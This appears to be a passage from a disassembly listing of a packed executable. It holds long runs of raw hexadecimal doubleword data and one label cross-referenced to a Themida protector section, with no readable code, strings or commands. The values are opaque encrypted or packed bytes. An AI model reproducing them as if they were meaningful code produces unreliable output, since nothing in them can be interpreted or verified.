		dd 631E6DCDh, 0F9CED88Fh, 0E3A9F254h, 60033A44h, 66883FFCh
		dd 0FF6A4115h, 2F0DFDE6h, 0CA213AD6h, 0DCDA8441h, 66443214h
		dd 678E514h, 0D5CDC194h, 0EDEE5837h, 0E37F53DEh, 603B48B8h
		dd 6671B71Ah, 8EE83215h, 6644321Eh, 87791AEDh, 472B1DFFh
		dd 0D8E871F5h, 9813032h, 0DBA1534Ch, 60031348h,	5D0D3D15h
		dd 8F443215h, 6622321Bh, 1226CD58h, 94762893h, 393E86F6h
		dd 0E3A9200Dh, 60031338h, 668821FCh, 1F3A9315h,	0C352548Ah
		dd 53CA2A7h, 4716A67Eh,	0B1E5AB89h, 99DD8946h, 0B938CDEAh
		dd 0E3B3C74Eh, 605D48A4h, 666BB71Ah, 69713215h,	0EDE9F3A2h
		dd 7470A390h, 0EA2D5213h, 66113217h, 353AF49Eh,	0EDFE6074h
		dd 915A1C54h, 0B1FBB3CFh, 0E7D9093Eh, 0EB6F16DFh, 99E8B361h
		dd 0A745A764h, 0A40930F7h, 43C42216h, 6978E53Ch, 6611349Fh
		dd 2E3E5215h, 5D255375h, 7F588790h, 29943D13h, 69883215h
		dd 6644359Dh, 67A33D15h, 9E113215h, 47D58F96h, 69443407h
		dd 66220790h, 619A3D15h, 69883215h, 66443393h, 0EDDBCA15h
		dd 74311F90h, 0DDDBCB13h, 66443214h, 6979ED14h,	66112397h
		dd 6684DB15h, 66973215h, 1C7B7C4Ah, 0B5D31617h,	0E3B32AC8h
		dd 605D48ACh, 660BB71Ah, 0E51E3215h, 66883210h,	0C699B275h
		dd 0A3A7B974h, 9A172025h, 59ED8B44h, 8FC516E8h,	42DF0D71h
		dd 648FD14h, 0DDEEE59Eh, 5D2563EEh, 7F588F90h, 22943D13h
		dd 69883215h, 66443891h, 6627DB15h, 0CB1F3215h,	0EDBA98A6h
		dd 744CBB90h, 76A63D13h, 69113215h, 66883899h, 6641DB15h
		dd 39A93215h, 375DE1F6h, 2FC88FACh, 0E79DC51Ch,	2F628CD4h
		dd 3FDE331Ch, 6689BC1Ah, 5DBD3215h, 7F58F790h, 7943D13h
		dd 6883215h, 6645BC1Ah,	93DA3215h, 3BACB174h, 668E2034h
		dd 660EB71Ah, 75CB3215h, 58113215h, 0EF3F1195h,	0DED50409h
		dd 133F8A97h, 2C04A29Fh, 0ED74570Ch, 74462790h,	6630DB13h
		dd 1923215h, 4AA28032h,	0CEF985F2h, 25D8D1ADh, 80CE117h
		dd 99778F40h, 896DCDEAh, 0ED445248h, 0FBCFB3D6h, 7BA01DFh
		dd 1C85B72Eh, 0E32D340Ch, 6611325Eh, 0D9EE5275h, 96C559EAh
		dd 6A2E1F5Dh, 95B88974h, 9EE94E85h, 47198F96h, 69223407h
		dd 66111890h, 0D1875215h, 97CF52CDh, 7ECB973h, 4794B974h
		dd 698E200Fh, 6644339Bh, 9975C715h, 5A9A1611h, 624CB131h
		dd 6645BA1Ah, 5DDE3215h, 7F6BFB90h, 260D3D13h, 6443215h
		dd 1C4CDC94h, 7E959AEh,	7705B79Eh, 0E84B3407h, 66223214h
		dd 2BA962ECh, 53D49979h, 50266587h, 60C2F355h, 0D716CD10h
		dd 3E4F1B58h, 6649DBEDh, 14B03215h, 0EE830CD5h,	0BE22A32Dh
		dd 5D43F954h, 7F58FF90h, 7943D13h, 8F883215h, 66443206h
		dd 8F4FA5FEh, 6EEFC2C2h, 0D6B04370h, 2B3F2A3Bh,	0ED9A0FECh
		dd 74075790h, 6A0A3D13h, 69443215h, 66223492h, 669A3D15h
		dd 9F883215h, 99BB8C43h, 910BCDEAh, 68F9524Bh, 0B0883215h
		dd 0FED465C2h, 1435A37Ah, 62A56786h, 0B7373DECh, 664DDB4Bh
		dd 0C1D43215h, 3FB9561Dh, 7D13B19h, 1C95B72Eh, 0E32D340Ch
		dd 66113245h, 66883FFCh, 9B1DD915h, 6A512416h, 8335C99Eh
		dd 0E8F053h, 697CA5ACh,	66223091h, 7705215h, 4BB1B79Eh
		dd 6BAD3407h, 0AD223215h, 9484D3B9h, 9699525Dh,	38EDFFFDh
		dd 99DD1F82h, 8F86CDEAh, 6688321Eh, 5D97923Ch, 57E05043h
		dd 9EAFE5A2h, 1C5DB72Eh, 0E34B340Ch, 6622323Fh,	6610B31Ah
		dd 93713215h, 4D45B79Eh, 36DA3407h, 99EECDADh, 3E4F1BEAh
		dd 6648B61Ah, 423215h, 699F06AFh, 66883299h, 0E37F5315h
		dd 603B48CCh, 662EB71Ah, 0E7E83215h, 0B856B6CDh, 662FDB30h
		dd 0FD7A3215h, 0C1859236h, 0C0890D7Ch, 711BFC8h, 221E8A75h
		dd 6938057Fh, 43C1B974h, 69242031h, 66113796h, 37705215h
		dd 0E1B1534Bh, 0A91373DAh, 0A920CB24h, 0BB0D09ECh, 69422B6Fh
		dd 66221090h, 0E39ACA15h, 609A3700h, 66443EFCh,	0AD69D615h
		dd 0BFC2EC24h, 8CBF4D2h, 67FC6294h, 67223215h, 5DED6AD2h
		dd 7FF2D390h, 59C13D13h, 69223215h, 66112592h, 669ADB15h
		dd 0EFBC3215h, 28CF513Ah, 0C635AA2Ah, 51672591h, 4AB80B71h
		dd 7B33B79Eh, 35ED3407h, 9977CDAEh, 3D9B1BEAh, 66223FFCh
		dd 50892315h, 2B1172F0h, 0F99D88Ah, 0E3191880h,	600848F0h
		dd 66D7B71Ah, 93B13215h, 42FFB79Eh, 8F713407h, 6688321Dh
		dd 0D66BF29Ch, 7042258Ah, 661126FDh, 0C549F315h, 6758B061h
		dd 0FF6002ABh, 14608DCAh, 0F7A6E68h, 0A9CF5449h, 0D874534Dh
		dd 7B9F3B8Bh, 90E9F494h, 916DD064h, 70AE3D4Bh, 69113215h
		dd 6688229Fh, 664FDB15h, 48973215h, 155638DEh, 0A29DB07Ah
		dd 1BC10998h, 69242025h, 66117290h, 60093D15h, 6443215h
		dd 0A7A954ECh, 6794B974h, 698E2000h, 66443E99h,	6625DB15h
		dd 5ECB3215h, 35E1C1C6h, 99FF6188h, 4FDDCDEAh, 8F7169CAh
		dd 6688321Fh, 0F5DAC438h, 9EA1D274h, 90A3A61Ah,	8F0D0974h
		dd 69422B6Fh, 66227990h, 0E81ECE15h, 6688321Ch,	0DF93B875h
		dd 78BC3280h, 9F94B974h, 68E2017h, 99FD8873h, 3543C19Fh
		dd 0DA2064AEh, 0E75BC575h, 0E3361AFEh, 0E7F9C547h, 4D00DBFEh
		dd 0F17BB349h, 67132484h, 0ED4269CAh, 6614DBD6h, 26EC3215h
		dd 7B7B27Bh, 1D07B72Eh,	0E31E340Ch, 66883240h, 4BF9B1E0h
		dd 66242B6Eh, 6627B71Ah, 0E6873215h, 66443210h,	0BFA95475h
		dd 0F7ACB174h, 668E203Eh, 666BB61Ah, 0EA2D3215h, 6611320Dh
		dd 668821FCh, 0B3569015h, 10613C9Bh, 494DBA03h,	62D41D89h
		dd 88D40FF4h, 6F53B79Eh, 33ED3407h, 668833A8h, 3BAB3315h
		dd 4FA709ECh, 69172B6Eh, 6688B790h, 0A1C55215h,	41210432h
		dd 6612B11Ah, 81083215h, 77AD538Dh, 0F2223215h,	92017E2Ch
		dd 0EBAE391Dh, 2C17B21Bh
		dd 0B848BDE2h, 1D3C8F96h, 6988340Ch, 66441E90h,	6631DB15h
		dd 7503215h, 449407D3h,	55A7CD8Ch, 93540227h, 0ABB3F913h
		dd 0F735B17Eh, 6642203Eh, 660EB61Ah, 0E61E3215h, 66883214h
		dd 2BC1B9EDh, 69242024h, 6611339Ah, 0DDDBC715h,	99BBCDEAh
		dd 8F79ED3Ch, 6611321Fh, 31910EF3h, 0B4F27CC7h,	0E31941C2h
		dd 600848F8h, 66C1B71Ah, 8FB13215h, 6622321Dh, 781C1304h
		dd 1D82357Fh, 57DDB79Eh, 72CB3407h, 0A2113215h,	33DE863Ah
		dd 1BCFEC0Ch, 39BD5A2Eh, 33CB4382h, 30EE6060h, 99BBCDABh
		dd 38D51BEAh, 66113CFCh, 735DD115h, 0A33A6768h,	2AF56719h
		dd 5DDF8DE3h, 7FF2C390h, 44C13D13h, 93223215h, 7208B79Eh
		dd 34703407h, 99BBCDAFh, 3CF51BEAh, 66113EFCh, 0C4EA4415h
		dd 0EB92E2Bh, 0C4386014h, 93940993h, 698E2B6Fh,	66441B90h
		dd 0E3A9CA15h, 60031658h, 6689B71Ah, 37BD3215h,	662233ACh
		dd 3FDE3315h, 6684B21Ah, 0E34B3215h, 66223213h,	6611BD1Ah
		dd 0E3B33215h, 605D48ECh, 660DB71Ah, 0EB1E3215h, 6688321Bh
		dd 66443BFCh, 0FFC74B15h, 18FE3A2Dh, 0E30334AAh, 605611CCh
		dd 6623B91Ah, 31E83215h, 0EDAC36EAh, 0A2C51629h, 66223211h
		dd 9B9409ECh, 698E2B6Fh, 66440D90h, 61AE3D15h, 6113215h
		dd 8B08FD9Eh, 0E3CF5303h, 603013A4h, 6DAB60E9h,	0E7B8FD62h
		dd 0AB2459F7h, 4E0B34Fh, 0E76A5635h, 9DF2F3FFh,	0DA86B336h
		dd 0A7547A61h, 8C9031F7h, 957BE154h, 931EE53Ch,	1D23B72Eh
		dd 0E31E340Ch, 66883226h, 6645B81Ah, 0EDDE3215h, 743DE790h
		dd 0EC875213h, 66443216h, 0D3B973h, 7872FABh, 0A409E592h
		dd 66443214h, 6ECBE592h, 15113215h, 0F0E755AEh,	6D970200h
		dd 40A63DEAh, 6113215h,	8631F494h, 0A7CF176Ah, 8BB8DB74h
		dd 74F8CDEAh, 42883215h, 7CDB4F52h, 0FD68ADF8h,	3D317135h
		dd 6EC1A06Ch, 0AFC109D3h, 6924200Fh, 66111190h,	668DDB15h
		dd 24F83215h, 0EBC30DB8h, 7F3BB690h, 761C713h, 69BBCDF8h
		dd 66223595h, 67983D15h, 9A883215h, 470DB72Eh, 0E32D3407h
		dd 66113240h, 668826FCh, 0EA211715h, 3C258892h,	0E3767349h
		dd 0D8914717h, 0B64A6F8Dh, 2B9FB1E5h, 67172B6Fh, 66A7B71Ah
		dd 0EBB83215h, 3F295590h, 6E983D15h, 69883215h,	6644309Dh
		dd 8F435215h, 99EEDF1Dh, 668822FCh, 4224315h, 0FE0DE7h
		dd 7E870AB2h, 1D9E0986h, 3BC109C6h, 69242B6Fh, 66111891h
		dd 670F3D15h, 9F443215h, 1C43B72Eh, 0E31E340Ch,	6688322Ch
		dd 664420FCh, 3982B715h, 6CCACEBBh, 0CE8BFDE2h,	253A999Bh
		dd 8F9D70F3h, 99EEDEADh, 6689B21Ah, 69B83215h, 6622229Ah
		dd 6C9E3D15h, 8F883215h, 66443210h, 0B3CA9A98h,	6B858CD9h
		dd 0B87F1F0Ch, 0E74CD4D4h, 0EB13C3DBh, 62F7F351h, 0E789F496h
		dd 919B23FBh, 0EB2D527Ah, 66113217h, 0EDE86D45h, 90C554CCh
		dd 7432B8Fh, 67EFB1EDh,	6795B71Ah, 243215h, 76CBE29Eh
		dd 7D113215h, 0ACEBE4F8h, 865B08A0h, 4FB02B44h,	7C83C91h
		dd 668834FCh, 0FA1CFA15h, 5D18E7F3h, 7F6B6390h,	5A0D3D13h
		dd 8F443215h, 66223218h, 6A0D2D53h, 0A2F86DF7h,	213B46EBh
		dd 0A2A7BF3Bh, 8F116A92h, 66883205h, 7411CBE0h,	13B5F1ABh
		dd 18B89F89h, 98B776A4h, 99AFCDFCh, 6627DBEAh, 0EF533215h
		dd 5D693E24h, 7F3E6790h, 3CA73D13h, 8F113215h, 6688321Ah
		dd 32FD2F01h, 0E69F2D38h, 6308987Dh, 8F99A486h,	66443219h
		dd 495F2587h, 0F7AFC202h, 0FC725AE5h, 0EE7EB798h, 6CCB324Dh
		dd 91113215h, 0D41ACA85h, 51E41FF2h, 8D88DBBAh,	9E71CDEAh
		dd 668821FCh, 1BD63715h, 62CC4C29h, 3E5ED60Eh, 339F0868h
		dd 46DD0F35h, 3FA70974h, 69172B6Fh, 66880C90h, 6657DB15h
		dd 76343215h, 609C9C4Bh, 9B2A6906h, 571F5CBh, 926CB2A6h
		dd 1994BFCBh, 6886A9Dh,	66443BFCh, 0AC8F5D15h, 7C2154CAh
		dd 0D1DFEEEDh, 8F256C4Ah, 99DDD959h, 6610B01Ah,	367D3215h
		dd 5A288847h, 322327A7h, 3E4B3631h, 0D4B45E38h,	0A9FF5200h
		dd 0D957B642h, 16E82447h, 68376574h, 3706A645h,	0FF083E7Dh
		dd 0A7906B7Bh, 285AB7FDh, 671DFC9Ch, 0E42D6DEBh, 6611321Fh
		dd 668837FCh, 2A0E9415h, 902905EEh, 6655B71Ah, 6B613215h
		dd 5443215h, 0F196CC11h, 0BF571879h, 0BCE68829h, 99AE9EFCh
		dd 9EA952EAh, 66113FFCh, 0D2C8D815h, 295AEAD4h,	0D0CFC967h
		dd 8F70F0A2h, 66883207h, 0F9FDE4C6h, 74B66DB3h,	188016B2h
		dd 222EF0FCh, 7E2CAFBFh, 0EF22323Dh, 9E4F1611h,	69E1879Ch
		dd 0E54B3407h, 66223214h, 0EFA4BBE9h, 68E2035h,	69B78D1Ah
		dd 66223490h, 0CEC1B315h, 7F9CE70h, 69AD0C95h, 66229590h
		dd 6618DB15h, 6D503215h, 562EF3C3h, 99FBFC4Bh, 9F4E3363h
		dd 743D8A45h, 0DC4974ECh, 0A745637Bh, 535131F5h, 28D4A149h
		dd 671CF514h, 0C3CDB3E2h, 8F60A573h, 6688321Fh,	2AB8EB93h
		dd 0E4F74CF0h, 0E21E8A66h, 6688321Dh, 6646B01Ah, 7423215h
		dd 420DB943h, 668CF694h, 0E5BD3215h, 52AB36F9h,	4B678C31h
		dd 0A0093D22h, 968D209Fh, 697CC114h, 66113395h,	0DBB3C715h
		dd 60563D7Ch, 6635B01Ah, 5DE43215h, 7B0E3DEEh, 69443215h
		dd 66223A9Fh, 649A3D15h, 6883215h, 8FEFDB74h, 63CBCDEAh
		dd 78113215h, 28C1D2B2h, 637D8F9Eh, 31423407h, 3E93D795h
		dd 6685DB74h, 25ED3215h, 4E2D8EEEh, 3E043C9Dh, 0A1C51676h
		dd 74706790h, 66223213h, 6600DB15h, 9FFE3215h, 5BB90905h
		dd 0EF8D8A81h, 0B8157131h, 603269Dh, 6645BA1Ah,	0EFDA3215h
		dd 7431BBA0h, 6684DB13h, 0E8A53215h, 9E9240B7h,	13FEB7A7h
		dd 0FB0503F1h, 605DCD0Dh, 0A8A2C775h, 0B5EE53C3h, 90325475h
		dd 71D6497h, 663DBF1Ah,	0EE1E3215h, 6688320Ch, 664426FCh
		dd 0DA02BC15h, 0CAA29DF7h, 8EE70B1Ch, 5C986107h, 477F2F45h
		dd 69D13934h, 66881191h, 0BC5215h, 0F4EFD594h, 66BDDB74h
		dd 77613215h, 0DE443215h, 0A9AD3072h, 0CA17CE9Eh, 7BAD6547h
		dd 0F2B241D5h, 0EC38AF98h, 6713402h, 66883AFCh,	0AFA9C615h
		dd 0A78E1977h, 66913DF5h, 7883215h, 99256C46h, 3AA13DC6h
		dd 6EECDEAh, 668835FCh,	0E1157415h, 0BE0C42BCh,	0ED7000A6h
		dd 74A8BBA0h, 76CD3D13h, 8F223215h, 6611321Eh, 6C1E68D4h
		dd 0FE64F831h, 0EF4D4C0Ah, 742567A0h, 0FB05CB13h, 605CA3CBh
		dd 6630DB75h, 93AB3215h, 5BA27F87h, 0ACCE75BEh,	0ADDBA143h
		dd 8E95114Ah, 0D65FB342h, 390048EBh, 6F1CD74h, 0F633EA94h
		dd 0EB873935h, 66443210h, 0AD10ABACh, 0E39A5321h, 609A3D7Ch
		dd 0A287B275h, 7D38D1Ah, 0EF70CE75h, 74A8BB90h,	0ACC55213h
		dd 6DE79B57h, 0E6E45374h, 0E387DA2Bh, 664432D2h, 0D92D5275h
		dd 74A61E2h, 1B35B174h,	6642200Eh, 6693B61Ah, 713215h
		dd 64E4AAEh, 33B68B73h,	0DA7F64ABh, 0D6705314h,	524B06C3h
		dd 33F66057h, 6A78E23Dh, 52F1E2CFh, 668FDB48h, 35083215h
		dd 9534B103h, 0D2719857h, 6684DBA3h, 0E533215h,	0D2F924CEh
		dd 0F8C4D067h, 30E9A6A5h, 91601E94h, 0ED510355h, 0A2901611h
		dd 66883211h, 5704C510h, 67A43D66h, 93113215h, 0B2B5BC38h
		dd 37BC1B3Ah, 40601BACh, 97D0B354h, 0E7C7B732h,	0B168BEFCh
		dd 3FEA3375h, 62FDB3ECh, 0EF883215h, 62FD1619h,	4F223215h
		dd 0E6716BDDh, 0E7EE13E2h, 750B2C6h, 62AF3DBEh,	6113215h
		dd 8FE96B45h, 66443012h
		dd 6623B11Ah, 0EBE43215h, 7F6E4488h, 0B5BBC713h
dword_5C5274	dd 662222FCh, 943B5215h, 0CD08C462h, 18486ACDh,	0AD9A722Bh
					; DATA XREF: Themida_:00550484o
		dd 48CBFB9h, 68E2BEFh, 664438FDh, 553E4615h, 4737D520h
		dd 0A7FE81h, 3D70F4AEh,	6620BE1Ah, 3E433215h, 695BCD74h
		dd 66443394h, 0A629CA15h, 6603B71Ah, 8F713215h,	6644325Ch
		dd 6624B81Ah, 713215h, 70267ADh, 46CDB796h, 8F273407h
		dd 66113219h, 0EE21B05h, 31339BA1h, 2E63E5A5h, 99EF9CFCh
		dd 68043DEAh, 6443215h,	6622B61Ah, 84903215h, 6E69EB7Ch
		dd 6643DB74h, 5B863215h, 37959860h, 5515BF20h, 6422BE9h
		dd 7F98D1Ah, 71E1EAh, 339BEC94h, 69843974h, 66222F90h
		dd 6603DB15h, 0DE7F3215h, 0C121ADh, 0D3E2FDABh,	839A54ADh
		dd 98E29D96h, 664403FCh, 0DE72CE15h, 66113211h,	5BEAF094h
		dd 0A445215Bh, 5B40D894h, 649215Bh, 3179851Ah, 71F5375h
		dd 662330FCh, 61953D15h, 69883215h, 66443390h, 0FBAFC715h
		dd 6006B80Fh, 6689BE1Ah, 99BC3215h, 42A13DC6h, 9A113215h
		dd 4601879Eh, 0EA4B3407h, 6622321Dh, 6613B91Ah,	7E83215h
		dd 6668CBFCh, 6627DB15h, 1EA43215h, 0ED38261Ah,	7464BB98h
		dd 6FCB5213h, 13113215h, 0C73F19DEh, 2C068150h,	0EF97BB74h
		dd 69172035h, 66883393h, 0A7C5CA15h, 42A56266h,	4181F394h
		dd 97A110A8h, 41D4DB94h, 8FA310A8h, 42966266h, 668834FCh
		dd 434AEA15h, 0EA34DCBh, 66113215h, 5EAC1E94h, 4F41321Eh
		dd 62A31619h, 661A0A31h, 6A616B10h, 4B443215h, 7D2E51D5h
		dd 0D9C7A3B9h, 9E5889FBh, 4881DC94h, 0A80B7A93h, 48D48D42h
		dd 98897A93h, 6654DB4Ah, 0EC653215h, 9F8264DFh,	0E2AB6DDEh
		dd 1DC7E3FDh, 0C2D11EDBh, 661CB31Ah, 0E83215h, 952CC494h
		dd 6622B41Ah, 8F703215h, 9977CF2Eh, 664434FCh, 0B1025D15h
		dd 0EB1E2864h, 7E1BA988h, 664BDB13h, 0FB1E3215h, 11E1F4F7h
		dd 5C1D4B71h, 3238A8EAh, 6F1CD13h, 0C7A8C8A0h, 7C44DB3h
		dd 0EFBABB43h, 4216B9E5h, 6915F696h, 66883F95h,	664CDB15h
		dd 35083215h, 0D0D3EBC1h, 0E3A3926Bh, 6056372Ch, 662CDBE0h
		dd 77593215h, 5D4A4EBDh, 86FB7AD2h, 75D7F724h, 4190B79Ch
		dd 0E1873407h, 66443200h, 662DBC1Ah, 6CF83215h,	7B883215h
		dd 41301445h, 0E6DEDF2Ch, 0E39ACE64h, 609A372Ch, 80CD64EDh
		dd 6626F494h, 88903215h, 66883211h, 3A600692h, 69060E9Ch
		dd 6611249Eh, 6699DB15h, 5BF03215h, 370D3550h, 26A118DBh
		dd 0A4EC18AFh, 0E379786h, 66224B73h, 6935369Ch,	66883E96h
		dd 60C53D15h, 69223215h, 66113294h, 9905BF15h, 8F422A80h
		dd 66223205h, 0D75A6861h, 3E2369Ah, 0EE7278Eh, 0FE495522h
		dd 6616B01Ah, 0EE873215h, 66443214h, 6F3CDE9h, 0A59D8B73h
		dd 8FE9ADA7h, 6644321Dh, 2CC7D2A6h, 7A3693DCh, 7D19B79Eh
		dd 0EB13407h, 6622119Ch, 8F35369Ch, 6688321Bh, 8FBCBF55h
		dd 933F0AA1h, 4C964E4Eh, 6F61C83Ah, 6C443215h, 7F30CC2Fh
		dd 0A30E3748h, 669D077Dh, 4278BB15h, 60A43D75h,	0E7113215h
		dd 0D9D755C3h, 6654DB67h, 19C13215h, 5B85D229h,	77816670h
		dd 64AF19EAh, 0ED43C9FEh, 74140B90h, 0E2875213h, 66443217h
		dd 1A936B42h, 83986774h, 668CF794h, 8BC53215h, 66223211h
		dd 3A351E92h, 6AC369Ch,	0E7C9C494h, 52932B8Dh, 779CBF74h
		dd 8F8E2A82h, 6644321Bh, 0AB9E333Fh, 18AEDC0h, 0E05C689Ah
		dd 0B7BB6B6Fh, 63CA52E0h, 7D113215h, 730B59A5h,	166DE0h
		dd 0B05FE894h, 0E741534Dh, 1A31639h, 301E6279h,	3D3D32ABh
		dd 64F7F31Ah, 8DA3F494h, 944520EAh, 67A83D4Bh, 93113215h
		dd 354BBB46h, 6AAD694Ch, 8F223215h, 1F2360BCh, 0E5DD924Eh
		dd 4D4A4BCAh, 7439A398h, 619C3D13h, 69883215h, 6644339Eh
		dd 0DBA1C715h, 60033290h, 0C40C3D15h, 9E443215h, 662238FCh
		dd 0B6587815h, 648E48F0h, 0ED34992Dh, 74265790h, 0E7775213h
		dd 7CDE6C6h, 66C1B73Eh,	0EC2D3407h, 66113205h, 668839FCh
		dd 9DDC8E15h, 6B0323E6h, 6C16580Bh, 0E087F32Eh,	66443274h
		dd 662221FCh, 473EE515h, 0B4E88156h, 0C8D04944h, 3F356CBEh
		dd 2918C854h, 6291B79Eh, 69243407h, 6622369Eh, 4BA95415h
		dd 943F3DC9h, 0E3C13174h, 9F242015h, 6854B79Ch,	0EB873407h
		dd 6644321Fh, 662237FCh, 55625915h, 0B461F857h,	8F443214h
		dd 66223218h, 47C79973h, 0C9524171h, 0EB0B0DCEh, 5CC95A88h
		dd 6A983215h, 0EDD9C731h, 0A2C71611h, 67A43D11h, 9A113215h
		dd 3008847h, 0A4C5676Ch, 0CCA4A862h, 694BE214h,	66883A9Fh
		dd 64C23D15h, 6223215h,	7BAA6174h, 2DC1AE3Eh, 147CF194h
		dd 95A36C77h, 557F017Bh, 0C74DC194h, 0BE4DA685h, 0E7062E9Eh
		dd 661136D1h, 6B61CA15h, 9C443215h, 964F0EAFh, 30C45841h
		dd 7CDC9241h, 66458C43h, 96233215h, 77903D4Bh, 8F883215h
		dd 66443219h, 8522956Bh, 63520117h, 1AF16FF0h, 6221B79Ch
		dd 0E92D3407h, 66113203h, 6861C775h, 0B7443215h, 0D68CF9B7h
		dd 0C4679591h, 0D4A2925Fh, 0EF4B53FAh, 66223234h, 0CFE2B375h
		dd 8FA70799h, 66443201h, 0BE362566h, 0CA713F6Eh, 0C0887631h
		dd 76E33CFFh, 7A888F8Ch, 0F943374h, 8F8E2021h, 6644321Fh
		dd 3191FAE7h, 5CE4E0E9h, 0A171EA4Ah, 7444B790h,	66223213h
		dd 67943D15h, 9F883215h, 0EB1727Fh, 66222215h, 6609B91Ah
		dd 75613215h, 0E0443215h, 0E6245AA9h, 0E57A820Eh, 0D0204900h
		dd 0FE57EF91h, 0EF72D58Dh, 661537F5h, 62A53215h, 0E1443215h
		dd 0EF7E1611h, 0E01E1619h, 66883201h, 6649DB75h, 61153215h
		dd 350DA6E4h, 375C39B3h, 78A6530h, 0ED2D327Fh, 6611321Fh
		dd 668837FCh, 3A15FF15h, 0F3DD3E13h, 600313D4h,	0AF095475h
		dd 9925F2D3h, 74176380h, 0E398CE13h, 609A360Ch,	6655DB75h
		dd 9ADC3215h, 2452881Eh, 0B310F42Fh, 36E59AE9h,	77F658Fh
		dd 2394BBECh, 9F8E201Bh, 31603E9Eh, 0A1A3D59Ch,	66113211h
		dd 0E18CF596h, 9A181629h, 66223EFCh, 1D1C9E15h,	78C63875h
		dd 0CA1E0570h, 2397CD53h, 9317201Bh, 7D1987EAh,	69243407h
		dd 66222591h, 6603DB15h, 7D63215h, 228717D0h, 0C1DCFB64h
		dd 72DE0095h, 0B873A7E5h, 6645BC1Ah, 7D73215h, 0E7F0BB44h
		dd 668836D4h, 62ADB115h, 3A063E92h, 6350E9Ch, 617BB373h
		dd 0D3BB5342h, 6030372Ch, 96906275h, 12F1A5A6h,	2AFF614Bh
		dd 3D5E5B17h, 9494BF74h, 698E2ABAh, 66443E9Bh, 60A43D15h
		dd 69113215h, 6688329Ch, 8F94CD15h, 6622321Ch, 5D5F2363h
		dd 0B06AFF56h, 0E3C9331Fh, 69242015h, 6611169Bh, 6E605215h
		dd 83443215h, 4A56A78Eh, 3E77B99Ch, 66883CFDh, 15D90D15h
		dd 95DBEA8h, 48EBE60Bh,	382CE217h, 23F9B974h, 9324201Bh
		dd 0F7A4B9EDh, 68E200Eh, 55B120ABh, 7C58355h, 0D47196E6h
		dd 6699DA07h, 52553215h, 93B93744h, 32ABD09Ch, 0ECE19AC1h
		dd 69F02349h, 6622329Dh, 0ED706815h, 74A39BA0h,	0EDB85213h
		dd 698F53D7h, 66113395h, 36D9CE15h, 0D550C5ADh,	72D18B45h
		dd 0A73862A6h, 0A179334Dh, 66443214h, 0A7DA6B15h, 35E937D5h
		dd 0C39100AEh, 43B7B35Ah, 6301ED8Fh, 308C01C4h,	0B7A5EA14h
		dd 3D12AF26h, 64A33D75h, 0D7113215h, 759B9D2h, 4311B716h
		dd 6D73407h, 6FAB373h, 0EB03539Dh, 60563C50h, 6625DB75h
		dd 52F23215h, 7C83AEBEh, 0DC225214h, 6FCBE42Fh,	22113215h
		dd 236E3EF5h, 71577027h
		dd 0EF2D5374h, 66113210h, 7E8CE75h, 0ABCD6774h,	0EFC8BB47h
		dd 934C6805h, 0D9875275h, 0E72253EDh, 7FCB1FDh,	0ED7752B8h
		dd 33E9CAD4h, 6644327Dh, 8AB6F15h, 0E21E6FE9h, 66883214h
		dd 0CFF1BBEDh, 8F24203Eh, 66113205h, 0D3E48A9Eh, 71A3FE59h
		dd 3696F36Dh, 0A0DCED22h, 6977CA96h, 6644FC90h,	6725215h
		dd 0E7776A74h, 7F367FEh, 0BB990C94h, 0E32DEFC8h, 661132A2h
		dd 35BB275h, 7BAB973h, 6634BF1Ah, 77F83215h, 8B883215h
		dd 580E1A24h, 0B0C0D61h, 8743CC6Fh, 13D1C156h, 189F5A46h
		dd 0E7795D85h, 8D11A3DEh, 0BD63B33Fh, 0EF2BC96Bh, 0ED2D690Bh
		dd 66113206h, 66883CFCh, 1A47B115h, 5A5EF0FAh, 0EA72725Ah
		dd 377F5630h, 6644367Dh, 0A8236B15h, 6616DB4Ch,	10CC3215h
		dd 56EF4A84h, 6632DB3Ch, 15F43215h, 551E6710h, 0F549E602h
		dd 3292FCBh, 0D3988447h, 609A19BCh, 664CBC1Ah, 0EE2D3215h
		dd 66113217h, 85615375h, 6BBCDC6h, 7BE3B344h, 3E7F78B0h
		dd 9983F894h, 8F2555C6h, 6622321Eh, 2345E3C6h, 93E76EDDh
		dd 0A7943B20h, 6ACB31D5h, 0D5113215h, 972D4BC1h, 45605B3Fh
		dd 65326EEEh, 74346790h, 6687DB13h, 0D5EE3215h,	0D8FAD32Ch
		dd 0F44D2FDCh, 1DDC2D1Bh, 67C73D5Ch, 93223215h,	69648F96h
		dd 69893407h, 6647B391h, 58A3CA15h, 0CCBB98BFh,	6620B71Ah
		dd 0EA4B3215h, 66223214h, 62AA61E9h, 67883215h,	4258B9CBh
		dd 6626F694h, 6CF83215h, 26883215h, 299A471Ch, 8F0E6627h
		dd 2AA863C5h, 2FB7E445h, 0E9DDB94h, 0E76B2E1Ch,	7D1B7ADCh
		dd 3841B371h, 0E715CE4Ah, 99DD4DFCh, 9A5FBB62h,	0E7AC3E9Eh
		dd 664436D1h, 71A33D15h, 69113215h, 66882397h, 6648DB15h
		dd 9C313215h, 0ADDEFD06h, 0BF262070h, 8AC7BF41h, 4226BB11h
		dd 8F4E6A42h, 66883204h, 0BD113A5Bh, 0F45D6B58h, 0D98EBA0Ah
		dd 0F9085824h, 0D6146332h, 3EE7BA07h, 8E21C9A5h, 4861C74Ch
		dd 69443215h, 6622339Ch, 9E20CB15h, 9EB9F524h, 7BCCE75h
		dd 35CA8744h, 0BE99D99Dh, 68616B4Eh, 38443215h,	0B19B6CE0h
		dd 8B3E8115h, 94A45577h, 84CD608Ch, 6626F094h, 8C923215h
		dd 429CB511h, 4240BB49h, 7DACB75h, 4D808F96h, 69893407h
		dd 66457691h, 6AA43D15h, 69113215h, 66883498h, 66CF3D15h
		dd 0E223215h, 66113315h, 6F083D4Dh, 6443215h, 1CF595h
		dd 7264EADh, 9E035475h,	1C319AEh, 0DBA1537Ch, 6008487Ch
		dd 560C3D15h, 6443215h,	0A9A954E0h, 0FB9CCA74h,	6090F6C8h
		dd 66443FFCh, 8A2E1415h, 10EB7E0Eh, 29F17CAAh, 0B5BB29B2h
		dd 64A73D75h, 0ED113215h, 0B40954D3h, 0E6255BD3h, 0E22DA22Ah
		dd 66113227h, 343260EDh, 0E70E1312h, 9F39B1FFh,	0B4E67836h
		dd 72BCC094h, 0B145EBCDh, 6BA03D4Fh, 6113215h, 95CC16AFh
		dd 2AB7B311h, 72F3B57h,	6610EBFCh, 9E0BCE15h, 0F4C63D45h
		dd 9F223215h, 0E6238344h, 8748E8E4h, 9EA5B21Dh,	340DC395h
		dd 0B71110A7h, 0A761B24Fh, 9F1DFA9Dh, 75A43DBFh, 8F113215h
